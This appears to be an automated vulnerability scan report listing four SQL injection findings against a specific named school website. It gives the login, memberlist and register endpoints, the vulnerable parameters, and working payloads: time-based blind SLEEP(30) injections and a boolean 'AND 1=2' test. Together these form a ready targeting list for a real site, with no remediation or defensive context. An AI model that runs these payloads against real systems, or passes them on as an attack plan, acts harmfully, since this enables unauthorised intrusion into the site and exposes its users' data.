{SQL}
Classification    Input Validation Error
Resource          http://www.badrschool.net/login
Parameter         redirect
Method            GET
Detection Type    Blind Timing Analysis Checks
Risk              High
GET               /login?redirect=/u835"%20OR%20(SELECT%20SLEEP(30))%20--%20


Classification    Input Validation Error
Resource          http://www.badrschool.net/login
Parameter         query
Method            POST
Detection Type    Blind Timing Analysis Checks
Risk              High
POST              /login [username=Joey password=vega autologin=on redirect=1 query=1" OR (SELECT SLEEP(30)) -- login=دخول ]

Classification    Input Validation Error
Resource          http://www.badrschool.net/memberlist
Parameter         mode
Method            GET
Detection Type    Blind Timing Analysis Checks
Risk              High
GET               /memberlist?mode=overall_posters%20UNION%20SELECT%20SLEEP(30)%20--%20


Classification   Input Validation Error
Resource         http://www.badrschool.net/register
Parameter        agreed
Method           GET
Detection Type   Blind Text Injection Differential
Risk             High
GET              /register?agreed=1%20AND%201=2%20--%20&step=2